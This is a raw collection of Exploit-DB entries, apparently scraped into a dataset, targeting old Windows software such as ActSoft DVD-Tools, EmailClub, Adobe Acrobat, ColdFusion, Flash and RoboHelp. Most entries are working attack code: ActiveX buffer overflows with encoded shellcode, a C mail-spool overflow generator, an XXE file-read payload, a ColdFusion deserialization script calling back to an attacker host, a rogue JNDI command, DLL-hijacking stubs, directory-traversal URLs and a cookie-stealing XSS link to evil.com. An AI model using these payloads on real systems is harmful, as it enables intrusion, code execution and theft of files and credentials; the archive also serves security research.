deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3610
Description: ActSoft DVD-Tools - 'dvdtools.ocx' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-03-30
Author: Umesh Wanve

Exploit:
<!--

  ===============================================================================================
                        ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 30-03-2007
 
  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
   
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->



<html>

<title>
 ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit- By Umesh Wanve
</title>

<object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test' ></object>

<script>

var nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90");

var pointer_to_seh=unescape("%eb%06%90%90");

var seh_handler=unescape("%a9%11%02%75");


<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com  -->
var shellcode= 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49")+
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%64")+
unescape("%58%30%41%31%50%42%41%6b%41%41%74%32%41%42%41%32")+
unescape("%42%41%30%42%41%58%38%41%42%50%75%4a%49%6b%4c%79")+
unescape("%78%67%34%45%50%43%30%73%30%4c%4b%72%65%55%6c%4c")+
unescape("%4b%53%4c%53%35%70%78%54%41%7a%4f%6c%4b%72%6f%42")+
unescape("%38%6e%6b%51%4f%35%70%57%71%7a%4b%43%79%4c%4b%77")+
unescape("%44%4e%6b%74%41%48%6e%50%31%79%50%6d%49%6e%4c%6b")+
unescape("%34%6b%70%53%44%76%67%6a%61%4a%6a%44%4d%54%41%5a")+
unescape("%62%6a%4b%4b%44%37%4b%61%44%71%34%65%54%32%55%58")+
unescape("%65%6e%6b%63%6f%55%74%34%41%4a%4b%70%66%6e%6b%54")+
unescape("%4c%70%4b%6e%6b%73%6f%45%4c%76%61%78%6b%6c%4b%55")+
unescape("%4c%4c%4b%44%41%48%6b%4d%59%73%6c%57%54%75%54%6a")+
unescape("%63%54%71%4b%70%65%34%6c%4b%37%30%54%70%6c%45%4f")+
unescape("%30%73%48%54%4c%4e%6b%37%30%74%4c%4c%4b%50%70%67")+
unescape("%6c%4c%6d%4c%4b%62%48%45%58%38%6b%76%69%6e%6b%4f")+
unescape("%70%4e%50%45%50%47%70%37%70%6c%4b%32%48%47%4c%51")+
unescape("%4f%30%31%6b%46%43%50%61%46%6e%69%48%78%6d%53%4f")+
unescape("%30%61%6b%66%30%31%78%58%70%4d%5a%34%44%61%4f%55")+
unescape("%38%6e%78%6b%4e%6d%5a%34%4e%73%67%49%6f%6d%37%33")+
unescape("%53%31%71%70%6c%65%33%45%50%64");

var buff="";

for (i=0;i<432;i++)    buff=buff+"A";


<!--   Buffer ------      Short Jump to Shellcode   ----- Pop Pop ret ----  NOP SLED ---- Hellcode --------->

buff = buff         +           pointer_to_seh     +      seh_handler   +  nop+nop    +   shellcode    +nop+nop;


var attack = document.getElementById('test');

attack.OpenDVD(buff);


</script>
</body>
</html>

# milw0rm.com [2007-03-30]
Exploit-DB #23906
Description: ADA IMGSVR 0.4 - Arbitrary File Download
Type: remote
Platform: windows
Date: 2004-04-01
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10027/info

A vulnerability has been reported in the ImgSvr server software that may allow a remote user to the retrieve arbitrary files from the web server root directory and any subdirectories therein.

An attacker may leverage this issue to gain access to arbitrary scripts contained within the server root directory. 

http://www.example.org:1234/someDirectory/fileName%00

The following has been reported to crash the affected server:
http://127.0.0.1:1234/%00/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/
Exploit-DB #23909
Description: ada imgsvr 0.4 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-04-05
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10048/info

ImgSvr is prone to an issue that may allow an attacker to view files that reside outside of the server root directory. This issue occurs because the application fails to properly sanitize user-supplied URI data.

A successful exploit may allow a remote attacker to access sensitive information that may be used to launch further attacks against a vulnerable system. 

To view a selected file:
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2fboot.ini

To list a directory:
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/
Exploit-DB #23905
Description: ADA IMGSVR 0.4 - Remote Directory Listing
Type: remote
Platform: windows
Date: 2004-04-01
Author: Donato Ferrante & Dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10026/info

A vulnerability has been reported in the ImgSvr server software that may allow a remote user to the disclose root directory listings. This issue has also been reported to allow for listing of directories that reside outside the server root as well.

An attacker may leverage this issue to gain access to sensitive information by disclosing directory listings; information disclosed in this way could lead to further attacks against the target system. 

For listing directories inside the server root (provided by Donato Ferrante):
http://www.example.org:1234/%00/
http://www.example.org:1234/someDirectory%00/
http://www.example.org:1234/someDirectory/%00/

For listing directories outside of the server root (provided by Dr_insane):
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/
Exploit-DB #19621
Description: Admiral Systems EmailClub 1.0.0.5 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 1999-11-15
Author: UNYUN

Exploit:
// source: https://www.securityfocus.com/bid/801/info


Certain versions of EmailClub, a mail server package by Admiral Systems Inc. are vulnerable to a remote buffer overflow. This overflow is exploitable via EmailClub's POP3 server which fails to perform proper bounds checking on the 'From:' header on incoming e-mail.

This overflow will lead to a complete compromise of the Windows 95/98 target machine. It may well also affect Windows NT installations in the same manner. It is unclear though if EmailClub run with ADMIN privileges under Windows NT installations.


/*=========================================================================
   E-MailClub Ver1.0.0.5 for Windows98J exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =========================================================================
*/
#include <stdio.h>
#include <string.h>

#define HD1 \
"From exploit Wed Oct 27 01:53 JST 1999\n"\
"Date: Wed, 27 Oct 1999 01:53:00 +0900\n"

#define HD2 \
"Message-Id: <3815C9EBDC.E749HOGE@192.168.0.1>\n"\
"MIME-Version: 1.0\n"\
"Content-Transfer-Encoding: 7bit\n"\
"Content-Type: text/plain; charset=US-ASCII\n"\
"Content-Length: 1\n"\
"Status: U\n\n\n\n"

#define MAXBUF      2000
#define MAXBUF2     500
#define NOP         0x90
#define RETADR      511
#define EIP         0x7fc1415b

unsigned char exploit_code[100]={
0xb8,0x55,0x55,0x55,
0x55,0x50,0x50,0xB8,
0x96,0x91,0xFA,0x5F,
0x03,0xC0,0x50,0xc3,
};

main(int argc, char *argv[])
{
    FILE            *fp;
    char            buf[MAXBUF];
    unsigned int    ip;

    if (argc!=2){
        printf("usage: %s mailspool\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL){
        printf("Can not write to %s\n",argv[1]);
        exit(1);
    }
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=EIP;
    buf[RETADR-1]=0xa0;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strncpy(buf+RETADR+40,exploit_code,strlen(exploit_code));

    fprintf(fp,"%s",HD1);
    fprintf(fp,"From: %s <exploit@sample.code.net>\n",buf);
    fprintf(fp,"To: you@your.host.net\n");
    fprintf(fp,"Subject: subscribe exploit\n");
    fprintf(fp,"%s",HD2);
    fclose(fp);
}
Exploit-DB #25822
Description: Adobe Acrobat 7.0 / Adobe Reader 7.0 - File Existence / File Disclosure
Type: remote
Platform: windows
Date: 2005-06-15
Author: Sverre H. Huseby

Exploit:
source: https://www.securityfocus.com/bid/13962/info

Adobe Acrobat and Adobe Reader may allow remote attackers to determine the existence of files on a vulnerable computer. This issue can be used to disclose data from a target file as well.

Information gathered through the exploitation of this vulnerability may aid in other attacks. 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "c:/boot.ini">
]>
<foo>&xxe;</foo>
Exploit-DB #19514
Description: Adobe Acrobat ActiveX Control 1.3.188 - ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 1999-09-27
Author: Shane Hird

Exploit:
source: https://www.securityfocus.com/bid/666/info

There is a buffer overflow in the 1.3.188 version of the Adobe Acrobat ActiveX control (pdf.ocx) that ships with Acrobat Viewer 4.0. This ActiveX control is marked 'Safe for Scripting' within Internet Explorer 4.X. Arbitrary commands may be executed if the ActiveX control is run in a malicious manner 

This control from Adobe Acrobat, can be exploited through 
the setview method, and because ESP points to the address 
after the RET address, we can place arbitrary code at this 
point and JMP to it by RET'ing to a JMP ESP, in this case, 
one found in Shell32. The code simply executes CALC.EXE 
then calls ExitProcess to terminate the host without it 
crashing. I have attempted to notify Adobe of the issue, 
however they don't appear to have any form of direct 
secure@ address.

<object classid="clsid:CA8A9780-280D-11CF-A24D[PII_REDACTED]00"
id="pdf"></object>

<script language="VBscript"><!--

msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) 
+ "Written by Shane Hird")

expstr 
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA" 

expstr = expstr + Chr(235)	'Address in SHELL32, Win98 
(7FD035EB) of JMP ESP
expstr = expstr + Chr(53)	'You may need to use a 
different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'Stack is slightly trashed, but NOPs fix it up ok
expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) 
+ Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19 (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 1)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + 
Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) 
+ Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Call exploitable method
pdf.setview(expstr)

--></script>
Exploit-DB #3084
Description: Adobe Acrobat Reader Plugin 7.0.x - 'acroreader' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2007-01-05
Author: Stefano Di Paola

Exploit:
# Stefano Di Paola
# http://www.wisec.it/

From Secunia:
Input passed to a hosted PDF file is not properly sanitised by the browser plug-in
before being returned to users. This can be exploited to execute arbitrary script code in
a user's browser session in context of an affected site.

Example:
- http://[host]/[filename].pdf#[some text]=javascript:[code]

# milw0rm.com [2007-01-05]
Exploit-DB #29686
Description: Adobe Acrobat/Adobe Reader 7.0.9 - Information Disclosure
Type: remote
Platform: windows
Date: 2007-02-28
Author: pdp

Exploit:
source: https://www.securityfocus.com/bid/22753/info

Adobe Acrobat and Adobe Reader may allow remote attackers to retrieve the contents of files on a vulnerable computer.

Information gathered through a successful exploit of this vulnerability may aid in other attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29686.zip
Exploit-DB #50781
Description: Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)
Type: remote
Platform: windows
Date: 2022-02-23
Author: Amel BOUZIANE-LEBLOND

Exploit:
# Exploit Title: Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)
# Google Dork: intext:"adobe coldfusion 11"
# Date: 2022-22-02
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
# Version: Adobe Coldfusion (11.0.03.292866)
# Tested on: Microsoft Windows Server & Linux

# Description:
# ColdFusion allows an unauthenticated user to connect to any LDAP server. An attacker can exploit it to achieve remote code execution.
# JNDI attack via the 'verifyldapserver' parameter on the utils.cfc

==================== 1.Setup rogue-jndi Server ====================

https://github.com/veracode-research/rogue-jndi


==================== 2.Preparing the Attack =======================

java -jar target/RogueJndi-1.1.jar --command "touch /tmp/owned" --hostname "attacker_box"

==================== 3.Launch the Attack ==========================


http://REDACTED/CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&v[CREDENTIAL_REDACTED]=json


curl -i -s -k -X $'GET' \
    -H $'Host: target' \
    --data-binary $'\x0d\x0a\x0d\x0a' \
    $'http://REDACTED//CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&v[CREDENTIAL_REDACTED]=json'


==================== 4.RCE =======================================

Depend on the target need to compile the rogue-jndi server with JAVA 7 or 8 
Can be done by modify the pom.xml as below

<configuration>
<source>7</source>
<target>7</target>
</configuration>
Exploit-DB #43993
Description: Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution
Type: remote
Platform: windows
Date: 2018-02-07
Author: Faisal Tameesh

Exploit:
# Exploit Title: Adobe Coldfusion BlazeDS Java Object Deserialization RCE
# Date: February 6, 2018
# Exploit Author: Faisal Tameesh (@DreadSystems)
# Company: Depth Security (https://depthsecurity.com)
# Version: Adobe Coldfusion (11.0.03.292866)
# Tested On: Windows 10 Enterprise (10.0.15063)
# CVE: CVE-2017-3066
# Advisory: https://helpx.adobe.com/security/products/coldfusion/apsb17-14.html
# Category: remote

# Notes:
# This is a two-stage deserialization exploit. The code below is the first stage.
# You will need a JRMPListener (ysoserial) listening at callback_IP:callback_port.
# After firing this exploit, and once the target server connects back, 
# JRMPListener will deliver the secondary payload for RCE.

import struct
import sys
import requests

if len(sys.argv) != 5:
    print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback_port"
    quit()

target_IP = sys.argv[1]
target_port = sys.argv[2]
callback_IP = sys.argv[3]
callback_port = sys.argv[4]

amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
              '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
              struct.pack('>I', int(callback_port)) + \
              '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';

url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False)
Exploit-DB #34829
Description: Adobe Dreamweaver CS4 - 'mfc80esn.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-10
Author: Pepelux

Exploit:
// source: https://www.securityfocus.com/bid/43911/info

Adobe Dreamweaver CS4 is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Linked Library (DLL) file. 

/*
============================================================================
Adobe Dreamweaver CS4 - v10.0 Build 4117 DLL Hijacking Exploit (mfc80esn.dll) 
=============================================================================

$ Program: Adobe Dreamweaver
$ Version: v10.0 Build 4117
$ Download: http://www.adobe.com/es/products/dreamweaver/
$ Date: 2010/10/08
 
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org

Tested on: Windows XP SP2 && Windows XP SP3

How  to use : 

1> Compile this code as mfc80esn.dll
	gcc -shared -o mfc80esn.dll thiscode.c
2> Move DLL file to the directory where Dreamweaver is installed
3> Open any file recognized by Dreamweaver
*/


#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}
Exploit-DB #36491
Description: Adobe Flash Player - Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2015-03-25
Author: SecurityObscurity

Exploit:
Source: https://github.com/SecurityObscurity/cve-2015-0313

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36491.zip

Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit

Reference:

http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/
http://malware.dontneedcoffee.com/2015/02/cve-2015-0313-flash-up-to-1600296-and.html
https://helpx.adobe.com/security/products/flash-player/apsa15-02.html
Exploit-DB #17187
Description: Adobe Flash Player < 10.1.53.64 - Action Script Type Confusion (ASLR + DEP Bypass)
Type: remote
Platform: windows
Date: 2011-04-19
Author: Abysssec

Exploit:
Source: http://www.abysssec.com/blog/2011/04/exploiting-adobe-flash-player-on-windows-7/

Adobe Flash player Action script type confusion exploit (DEP+ASLR bypass)

advisory text : 

Here is another reliable windows 7 exploit . the main method used for exploitation is based on Haifei-li presentation at CanSecWest. 
but as exploit code not relased and a lot of peoples like to see exploit code here is our code .  

exploitation detail :
For exploitation purpose on recent protections on windows 7 without any 3rd party (well flash is not 3rd party todays) , it is possible to use the same bug many times to leak the imageBase address and payload address. In our exploit we used three confusion to read String Objects address and accordingly imagebase address.

Step1: read shellcode string object pointer by confusing it with uint and use it to leak ImageBase.
Step2: leak address of the shellcode with the same pointer and NewNumber trick.
Step3: send imageBase & shellcode address as parameters to the RopPayload function, develop Rop payload string and again confuse the return value with uint to read address of RopPayload string.
Step4: send address of the rop payload as parameters to the last confused function that confuses string type with class object. And thus address of our rop payload will be used as vtable in the fake class object.
Note: In using strings as a buffer for shellcode in action script, it is important to use alphanumeric characters because the toString method converts our ascii character set to uincode thus make our shellcode unusable.

Here you can get our reliable exploit against windows 7 :
calc.exe payload

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17187.zip (CVE-2010-3654_Win7.zip)
Exploit-DB #9443
Description: Adobe JRun 4 - 'logfile' (Authenticated) Directory Traversal
Type: remote
Platform: windows
Date: 2009-08-18
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory	#DSECRG-09-052


Application:                Adobe JRun Application Server
Versions Affected:          4 updater 7
Vendor URL:                 http://www.adobe.com/products/jrun/
Bug:                        Directory Traversal File Read
Exploits:                   YES
Reported:                   20.01.2009
Vendor response:            21.01.2009
Solution:                   YES   
Date of Public Advisory:    17.08.2009
CVE-number:                 CVE-2009-1873
Author:                     Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

JRun Management Console Directory Traversal vulnerability.


Details
*******


Directory Traversal vulnerability found in script logviewer.jsp

Using Management Console authenticated attacker can read any file on server.

Also attacker can exploit this issue using XSS (http://www.dsecrg.com/pages/vul/show.php?id=152)


Example:

http://[server]/server/[profile]/logging/logviewer.jsp?logfile=../../../../../../../boot.ini




Fix Information
***************
The issue has been solved 17 august 2009.  http://www.adobe.com/go/apsb09-12


References:
***********

http://www.adobe.com/go/apsb09-12
http://www.dsecrg.com/pages/vul/show.php?id=152


About
*****


Digital Security one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:	research [at] dsecrg [dot] com
		http://www.dsecrg.com 

# milw0rm.com [2009-08-18]
Exploit-DB #37655
Description: Adobe Pixel Bender Toolkit2 - 'tbbmalloc.dll' Multiple DLL Loading Code Execution Vulnerabilities
Type: remote
Platform: windows
Date: 2012-08-23
Author: coolkaveh

Exploit:
// source: https://www.securityfocus.com/bid/55179/info

Adobe Pixel Bender Toolkit2 is prone to multiple vulnerabilities that allow attackers execute arbitrary code.

An attacker can exploit these issues by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void hook_startup() { exp(); }

int exp()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #30016
Description: Adobe RoboHelp - Frameset-7.HTML Cross-Site Scripting
Type: remote
Platform: windows
Date: 2007-05-08
Author: Michael Domberg

Exploit:
source: https://www.securityfocus.com/bid/23878/info

RoboHelp is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief